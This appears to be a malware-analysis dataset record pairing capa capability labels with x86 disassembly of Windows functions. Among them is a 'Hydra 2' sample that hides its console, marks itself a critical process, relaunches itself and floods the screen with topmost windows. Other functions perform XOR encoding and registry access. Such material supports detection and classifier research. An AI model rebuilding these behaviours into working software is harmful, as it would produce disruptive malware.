joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40154c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x194
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea edx, [ebp - 0x150]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x150], 0x44
lea eax, [ebp - 0x160]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x150]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
je 0x401618
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x15c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret

Function at 0x40168a
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
call sym._GetConsoleWindow_0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4016b5
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [esp], 0
call sym._time
mov ebx, eax
call sym._GetCurrentProcessId_0
add eax, ebx
mov dword [esp], eax
call sym._srand
call sym._rand
mov ebx, eax
call sym._GetCurrentProcessId_0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], str.Hydra_2__d__d__d
mov dword [esp], 0x408120
call sym._sprintf
call sym._rand
mov ebx, eax
call sym._GetCurrentProcessId_0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], str.HydraClass__d__d__d
mov dword [esp], 0x4080a0
call sym._sprintf
mov dword [esp + 4], 0x4080a0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dbg.MyRegisterClass
call dbg.SetProcessCritical
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dbg.InitInstance
test eax, eax
jne 0x401773
mov eax, 0
jmp 0x4017a0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._TranslateMessage_4
sub esp, 4
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._DispatchMessageA_4
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._GetMessageA_16
sub esp, 0x10
test eax, eax
jne 0x401757
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 4]
leave
ret 0x10
Function at 0x401867
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
lea eax, [ebp - 0x20]
mov dword [esp], eax
call dbg.GetVirtualScreenRect
mov dword [ebp - 0xc], 0
jmp 0x4019eb
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
call dbg.GetRandomPointInRect
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [0x408080]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x64
mov dword [esp + 0x18], 0xc8
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x80c80000
mov dword [esp + 8], 0x408120
mov dword [esp + 4], 0x4080a0
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4019f7
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._UpdateWindow_4
sub esp, 4
mov dword [esp + 0x18], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._SetWindowPos_28
sub esp, 0x1c
mov eax, dword [0x408080]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x64
mov dword [esp + 0x18], 0xc8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], str._Hydra_2_by_retr0_o_O__n_ncut_off_one_head__ntwo_more_shall_take_its_place.
mov dword [esp + 4], str.STATIC
mov dword [esp], 0
call sym._CreateWindowExA_48
sub esp, 0x30
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jl 0x401884
leave
ret
Function at 0x404200
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x404236
jmp 0x40426e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404233
cmp al, 9
je 0x404233
cmp al, 0x22
jne 0x404257
jmp 0x4042b6
cmp al, 9
je 0x404263
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x404250
jmp 0x404263
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404260
cmp al, 9
je 0x404260
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40427d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.WinMain@16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x4042c2
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x4042b2
cmp al, 0x22
jne 0x404263
lea ebx, [edx + 2]
jmp 0x404263
Function at 0x402f10
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x14
push esi
push edi
push 0
push 0x4295cc
push 0x4293ec
push 0x80000002
mov esi, 0x4295c4
call fcn.0040a070
mov edi, dword [esp + 0x30]
add esp, 0x10
test eax, eax
jne 0x403123
test edi, edi
push ebx
je 0x403011
mov eax, dword [0x42954c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0xc], eax
xor edx, edx
mov cl, byte [esp + edx + 0xc]
mov al, cl
and al, 0x80
shl cl, 1
test al, al
je 0x402f72
or cl, 1
mov al, byte [esp + edx + 0xd]
xor al, cl
mov cl, al
and cl, 1
shr al, 1
test cl, cl
je 0x402f85
or al, 0x80
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 3
jl 0x402f61
mov edx, dword [esp + 0xf]
push edx
call fcn.00403170
mov bl, byte [esp + 0x10]
xor al, bl
push eax
call fcn.00403150
mov cl, byte [esp + 0x2e]
mov dl, byte [esp + 0x16]
mov byte [esp + 0x17], al
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x1c], al
mov al, byte [esp + 0x15]
mov byte [esp + 0x1f], al
mov al, byte [esp + 0x2f]
mov byte [esp + 0x20], cl
mov cl, byte [esp + 0x17]
add esp, 8
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], ah
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], cl
xor esi, esi
mov dl, byte [esp + esi + 0x14]
push edx
call fcn.00403170
xor al, byte [esp + esi + 0x19]
push eax
call fcn.00403150
add esp, 8
mov byte [esp + esi + 0x14], al
inc esi
cmp esi, 7
jl 0x402fe6
mov eax, dword [esp + 0x1b]
push eax
jmp 0x4030e0
push 0
call fcn.0041b800
mov edx, dword [0x42954c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
add esp, 4
mov dword [esp + 0xc], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], ecx
xor edx, edx
mov cl, byte [esp + edx + 0xc]
mov al, cl
and al, 0x80
shl cl, 1
test al, al
je 0x403046
or cl, 1
mov al, byte [esp + edx + 0xd]
xor al, cl
mov cl, al
and cl, 1
shr al, 1
test cl, cl
je 0x403059
or al, 0x80
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 3
jl 0x403035
mov eax, dword [esp + 0xf]
push eax
call fcn.00403170
mov bl, byte [esp + 0x10]
xor al, bl
push eax
call fcn.00403150
mov cl, byte [esp + 0x15]
mov dl, byte [esp + 0x2e]
mov byte [esp + 0x17], al
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x1c], al
mov al, byte [esp + 0x16]
mov byte [esp + 0x1f], cl
mov cl, byte [esp + 0x2f]
mov byte [esp + 0x20], dl
mov dl, byte [esp + 0x17]
add esp, 8
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], ah
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], dl
xor esi, esi
mov al, byte [esp + esi + 0x14]
push eax
call fcn.00403170
xor al, byte [esp + esi + 0x19]
push eax
call fcn.00403150
add esp, 8
mov byte [esp + esi + 0x14], al
inc esi
cmp esi, 7
jl 0x4030ba
mov ecx, dword [esp + 0x1b]
push ecx
call fcn.00403170
xor al, byte [esp + 0x18]
push eax
call fcn.00403150
add esp, 8
lea edx, [esp + 0x14]
mov byte [esp + 0x1b], al
push 8
push edx
push 0x4295bc
push 0x42957c
push 0x80000002
call fcn.0040b260
add esp, 0x14
mov esi, 0x429578
test eax, eax
pop ebx
jne 0x403123
mov esi, 0x429570
test edi, edi
mov eax, 0x429568
jne 0x403131
mov eax, 0x429564
push esi
push eax
push 0x429550
call fcn.00407160
add esp, 0xc
pop edi
pop esi
add esp, 0x14
ret
Function at 0x403ab0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x58
mov eax, dword [esp + 0x5c]
mov dword [esp], 0x4298cc
test eax, eax
mov ecx, 0x42fa7c
mov dword [esp + 4], eax
jne 0x403ad0
mov dword [esp + 4], ecx
mov eax, dword [esp + 0x60]
mov dword [esp + 8], 0x4298c8
test eax, eax
mov dword [esp + 0xc], eax
jne 0x403ae8
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0x64]
mov dword [esp + 0x10], 0x4298c4
test eax, eax
mov dword [esp + 0x14], eax
jne 0x403b00
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x68]
mov dword [esp + 0x18], 0x4298c0
test eax, eax
mov dword [esp + 0x1c], eax
jne 0x403b18
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x20], 0x4298bc
test eax, eax
mov dword [esp + 0x24], eax
jne 0x403b30
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x70]
mov dword [esp + 0x28], 0x4298b8
test eax, eax
mov dword [esp + 0x2c], eax
jne 0x403b48
mov dword [esp + 0x2c], ecx
mov eax, dword [esp + 0x74]
mov dword [esp + 0x30], 0x4298b0
test eax, eax
mov dword [esp + 0x34], eax
jne 0x403b60
mov dword [esp + 0x34], ecx
mov eax, dword [esp + 0x78]
mov dword [esp + 0x38], 0x4298a8
test eax, eax
mov dword [esp + 0x3c], eax
jne 0x403b78
mov dword [esp + 0x3c], ecx
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x40], 0x4298a0
test eax, eax
mov dword [esp + 0x44], eax
jne 0x403b90
mov dword [esp + 0x44], ecx
mov eax, dword [esp + 0x80]
mov dword [esp + 0x48], 0x429898
test eax, eax
mov dword [esp + 0x4c], eax
jne 0x403bab
mov dword [esp + 0x4c], ecx
mov eax, dword [esp + 0x84]
mov dword [esp + 0x50], 0x429890
test eax, eax
mov dword [esp + 0x54], eax
jne 0x403bc6
mov dword [esp + 0x54], ecx
push ebx
mov ebx, dword [0x4261d8]
push ebp
push esi
push edi
xor edi, edi
lea esi, [esp + 0x14]
mov ebp, 0xb
mov eax, dword [esi - 4]
push eax
call ebx
mov ecx, dword [esi]
lea edi, [edi + eax + 1]
push ecx
call ebx
add esi, 8
dec ebp
lea edi, [edi + eax + 1]
jne 0x403bdb
lea edi, [edi + edi*2 + 0x64]
push edi
call fcn.0041b345
mov esi, eax
add esp, 4
test esi, esi
je 0x403c65
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ebp, dword [0x4261cc]
mov ecx, edx
and ecx, 3
mov dword [esp + 0x6c], 0
rep stosb byte es:[edi], al
lea edi, [esp + 0x10]
mov ebx, 0xb
mov ecx, dword [edi + 4]
mov edx, dword [edi]
lea eax, [esp + 0x6c]
push eax
push ecx
push edx
call fcn.00410290
add esp, 0xc
test eax, eax
je 0x403c52
mov eax, dword [esp + 0x6c]
push eax
push esi
call ebp
lea ecx, [esp + 0x6c]
push ecx
call fcn.0040ad50
add esp, 4
add edi, 8
dec ebx
jne 0x403c32
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
Function at 0x40d9f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x6c
push ebx
push ebp
mov ebp, dword [0x4261d8]
push esi
xor esi, esi
mov eax, 1
push edi
mov dword [esp + 0x14], 0x42b4fc
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], 0x42b4f0
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], 0x42b4e8
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0x42b4dc
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 0x429958
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], 0x42b4d0
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x42a2e8
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], 0x42b4cc
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], 0x42b4c4
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], 0x42b4b4
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], 0x42b4a4
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], 0x42b498
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], 0x42b494
mov dword [esp + 0x78], eax
lea edi, [esp + 0x14]
mov ebx, 0xd
mov eax, dword [edi]
push eax
call ebp
add edi, 8
dec ebx
lea esi, [esi + eax + 2]
jne 0x40daa9
add esi, 0xa
push esi
call fcn.0041b345
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40db25
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov esi, ebx
and ecx, 3
mov dword [esp + 0x10], 0xd
rep stosb byte es:[edi], al
lea edi, [esp + 0x14]
mov eax, dword [esp + 0x84]
test eax, eax
jne 0x40dafe
mov eax, dword [edi + 4]
test eax, eax
je 0x40db17
mov eax, dword [edi]
push eax
push esi
call dword [0x4261e0]
push esi
call ebp
mov cl, byte [esp + 0x80]
add esi, eax
mov byte [esi], cl
inc esi
mov eax, dword [esp + 0x10]
add edi, 8
dec eax
mov dword [esp + 0x10], eax
jne 0x40daec
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x6c
ret
Function at 0x418e50
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x2014
call fcn.0041b280
mov ecx, dword [esp + 0x201c]
xor eax, eax
push ebx
mov ebx, dword [esp + 0x201c]
mov dword [ecx], eax
push ebp
push esi
xor esi, esi
mov dword [ecx + 4], eax
push edi
test ebx, ebx
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
jl 0x418ffb
push 2
push eax
push ebx
call fcn.004219e9
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
mov dword [esp + 0x10], edi
je 0x418fe6
cmp edi, 0x14
jle 0x418fba
cmp edi, 0x2000
mov ebp, 0x2000
jg 0x418eb9
mov ebp, edi
mov ebx, edi
sub ebx, ebp
test ebx, ebx
jl 0x418faf
mov edx, dword [esp + 0x2028]
push 0
push ebx
push edx
call fcn.004219e9
add esp, 0xc
test eax, eax
jl 0x418f83
mov ecx, dword [esp + 0x2028]
lea eax, [esp + 0x24]
push ebp
push eax
push ecx
call fcn.0041c9ca
add esp, 0xc
cmp ebp, eax
jne 0x418f74
test esi, esi
lea edx, [ebp - 0x14]
jne 0x418f41
lea eax, [esp + edx + 0x24]
test edx, edx
jl 0x418f41
mov ecx, dword [0x42dc40]
cmp ecx, dword [eax]
jne 0x418f3b
cmp dword [eax + 8], 0x1000000
jne 0x418f3b
cmp dword [eax + 4], 0x14
jne 0x418f3b
mov edi, dword [esp + 0x202c]
mov ecx, 5
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x10]
mov esi, 1
dec edx
dec eax
test esi, esi
je 0x418f05
test ebx, ebx
jle 0x418f6f
mov edx, 0x14
mov eax, 0
sub edx, ebp
add ebx, edx
sets al
dec eax
and ebx, eax
mov eax, edi
sub eax, ebx
cmp eax, 0x2000
jle 0x418f6b
mov ebp, 0x2000
jmp 0x418f9a
mov ebp, eax
jmp 0x418f9a
or ebx, 0xffffffff
jmp 0x418f9a
call fcn.0041d298
mov ecx, dword [eax]
push ecx
push 0x42ddf8
jmp 0x418f90
call fcn.0041d298
mov edx, dword [eax]
push edx
push 0x42ddd8
call fcn.00419980
add esp, 8
xor ebp, ebp
test esi, esi
je 0x418ebd
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2014
ret
test esi, esi
jne 0x418ffb
mov ebx, dword [esp + 0x2028]
mov eax, dword [esp + 0x2030]
test eax, eax
je 0x418ffb
mov eax, dword [esp + 0x202c]
lea ecx, [esp + 0x14]
push eax
push ecx
push ebx
call fcn.00419010
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2014
ret
call fcn.0041d298
mov edx, dword [eax]
push edx
push 0x42ddc0
call fcn.00419980
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2014
ret
Function at 0x419290
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004199a0
mov esi, dword [esp + 0x28]
xor eax, eax
mov ecx, esi
mov edi, dword [esp + 0x24]
xor ebx, ebx
mov dword [ecx], eax
test edi, edi
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
jl 0x4193c2
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0xc]
push edx
push eax
push edi
call fcn.00418e50
add esp, 0xc
test eax, eax
je 0x4193aa
mov ecx, dword [esp + 0x1c]
push ebx
push ecx
push edi
call fcn.004219e9
add esp, 0xc
test eax, eax
jl 0x41938c
push 0x10
push esi
push edi
call fcn.0041c9ca
add esp, 0xc
cmp eax, 0x10
jne 0x41936e
mov eax, dword [esi]
mov ecx, dword [0x42dc3c]
cmp ecx, eax
jne 0x419357
mov eax, dword [esi + 8]
cmp eax, 0x1000000
jne 0x419340
mov esi, dword [esi + 4]
cmp esi, 0x10
jne 0x419329
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x14
ret
push esi
push 0x42dfe0
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
push eax
push 0x42dfc4
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
push eax
push 0x42dfa0
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
call fcn.0041d298
mov edx, dword [eax]
push edx
push 0x42df84
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
call fcn.0041d298
mov eax, dword [eax]
push eax
push 0x42df64
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
push 0xffffffffffffffff
push 0x42df48
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
push 0xffffffffffffffff
push 0x42df2c
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x14
ret

Function at 0x4193e0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.004199a0
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
mov ecx, 0x11
xor eax, eax
mov edi, esi
xor ebx, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp]
mov edi, dword [esp + 0x14]
test eax, eax
jne 0x419413
push ebp
push edi
call fcn.004194d0
add esp, 8
cmp dword [ebp], 0
je 0x4194b9
push 0x44
push esi
push edi
call fcn.0041c9ca
add esp, 0xc
cmp eax, 0x44
jne 0x41949d
mov eax, dword [esi]
mov ecx, dword [0x42dc44]
cmp eax, ecx
jne 0x419488
mov eax, dword [esi + 0x34]
mov ebx, 1
test eax, eax
je 0x419471
mov ecx, dword [esi + 0x38]
push 0
add ecx, eax
push ecx
push edi
call fcn.004219e9
add esp, 0xc
cmp eax, 0xffffffff
jne 0x419471
call fcn.0041d298
mov edx, dword [eax]
push edx
push 0x42e054
call fcn.00419980
add esp, 8
push 1
push 0
push edi
call fcn.004219e9
add esp, 0xc
mov dword [ebp], eax
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push eax
push 0x42e030
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
call fcn.0041d298
mov eax, dword [eax]
push eax
push 0x42e018
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
push 0xffffffffffffffff
push 0x42dff8
call fcn.00419980
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x419710
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
push edi
xor ebp, ebp
call fcn.004199a0
mov ebx, dword [esp + 0x64]
mov eax, dword [esp + 0x68]
mov esi, dword [esp + 0x58]
mov dword [ebx], ebp
mov dword [eax], ebp
test esi, esi
jl 0x419838
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x419838
cmp byte [eax], 0
je 0x419838
mov ecx, dword [esp + 0x60]
lea edx, [esp + 0x10]
push ecx
push eax
push edx
push esi
call fcn.00419540
add esp, 0x10
test eax, eax
je 0x419847
mov eax, dword [esp + 0x44]
test eax, eax
je 0x419847
push eax
call fcn.0041b345
mov edi, eax
add esp, 4
test edi, edi
mov dword [ebx], edi
je 0x41981a
mov ecx, dword [esp + 0x44]
xor eax, eax
mov edx, ecx
push ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x4c]
push eax
push esi
call fcn.004219e9
add esp, 0xc
cmp eax, 0xffffffff
je 0x4197fb
mov ecx, dword [esp + 0x44]
mov edx, dword [ebx]
push ecx
push edx
push esi
call fcn.0041c9ca
mov ecx, dword [esp + 0x50]
add esp, 0xc
cmp ecx, eax
jne 0x4197dc
mov eax, dword [esp + 0x68]
pop edi
pop esi
pop ebp
mov dword [eax], ecx
mov eax, 1
pop ebx
add esp, 0x44
ret
call fcn.0041d298
mov ecx, dword [eax]
push ecx
push 0x42e198
call fcn.00419980
add esp, 8
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
call fcn.0041d298
mov edx, dword [eax]
push edx
push 0x42e178
call fcn.00419980
add esp, 8
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
call dword [0x4261c0]
push eax
push 0x42e15c
call fcn.00419980
add esp, 8
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
push 0xffffffffffffffff
push 0x42e130
call fcn.00419980
add esp, 8
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
Function at 0x41aca0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x84
push ebx
push ebp
push esi
push edi
push 0x42e6ec
call fcn.0041aac0
mov eax, 0x42e6e0
add esp, 4
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov ecx, 1
mov eax, 0x42b800
xor ebx, ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], 0x42b3c8
mov dword [esp + 0x20], 0x42b7a0
mov byte [esp + 0x2c], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0x42b82c
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], 0x42a2e8
mov byte [esp + 0x40], bl
mov dword [esp + 0x44], 0x42b840
mov dword [esp + 0x48], 0x42b838
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], 0x42b4cc
mov byte [esp + 0x54], cl
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], 0x42e6d4
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], 0x42b4c4
mov byte [esp + 0x68], bl
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], 0x42e6cc
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], 0x42e6c8
mov byte [esp + 0x7c], bl
mov dword [esp + 0x80], 0x42e6a8
mov dword [esp + 0x84], 0x429fd0
mov dword [esp + 0x88], ebx
mov dword [esp + 0x8c], 0x42e6a4
mov byte [esp + 0x90], bl
lea esi, [esp + 0x24]
mov dword [esp + 0x14], 6
mov eax, dword [esi + 4]
push eax
push 0x42e69c
call fcn.0041aa10
mov edi, dword [esi - 4]
mov ebp, dword [esi - 8]
lea ecx, [esp + 0x18]
push ebx
push ecx
push edi
push ebp
push 0x80000002
mov dword [esp + 0x2c], ebx
call fcn.0040adb0
mov eax, dword [esp + 0x2c]
add esp, 0x1c
cmp eax, ebx
je 0x41aeaa
mov edi, dword [esi]
cmp edi, ebx
je 0x41ae25
mov ebx, dword [0x4261d8]
push edi
call ebx
mov edx, dword [esp + 0x10]
mov ebp, eax
push edx
call ebx
lea ebp, [eax + ebp + 0xa]
push ebp
call fcn.0041b345
mov ebx, eax
mov eax, dword [esp + 0x14]
push edi
push eax
push ebp
push ebx
call fcn.0040cf70
add esp, 0x14
test eax, eax
je 0x41ae1c
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0041b272
add esp, 4
mov dword [esp + 0x10], ebx
jmp 0x41ae23
mov edx, dword [esp + 0x10]
mov byte [edx], 0
xor ebx, ebx
mov eax, dword [esp + 0x10]
push eax
call fcn.0040ca00
add esp, 4
test eax, eax
je 0x41ae43
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0040cf00
add esp, 4
mov edx, dword [esp + 0x10]
push edx
push 0x42e68c
call fcn.0041aa10
mov eax, dword [esp + 0x18]
push eax
call fcn.0040c9d0
add esp, 0xc
test eax, eax
je 0x41ae8e
mov cl, byte [esi + 8]
mov edx, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x9c]
push edx
call fcn.0040ec20
test eax, eax
je 0x41ae83
push 0x429578
jmp 0x41ae93
mov dword [esp + 0x18], ebx
push 0x429570
jmp 0x41ae93
push 0x42e678
call fcn.0041aac0
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call fcn.0041b272
add esp, 4
jmp 0x41aeb9
push edi
push ebp
push 0x42e654
call fcn.0041aac0
add esp, 0xc
mov eax, dword [esp + 0x14]
add esi, 0x14
dec eax
mov dword [esp + 0x14], eax
jne 0x41ad98
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x84
ret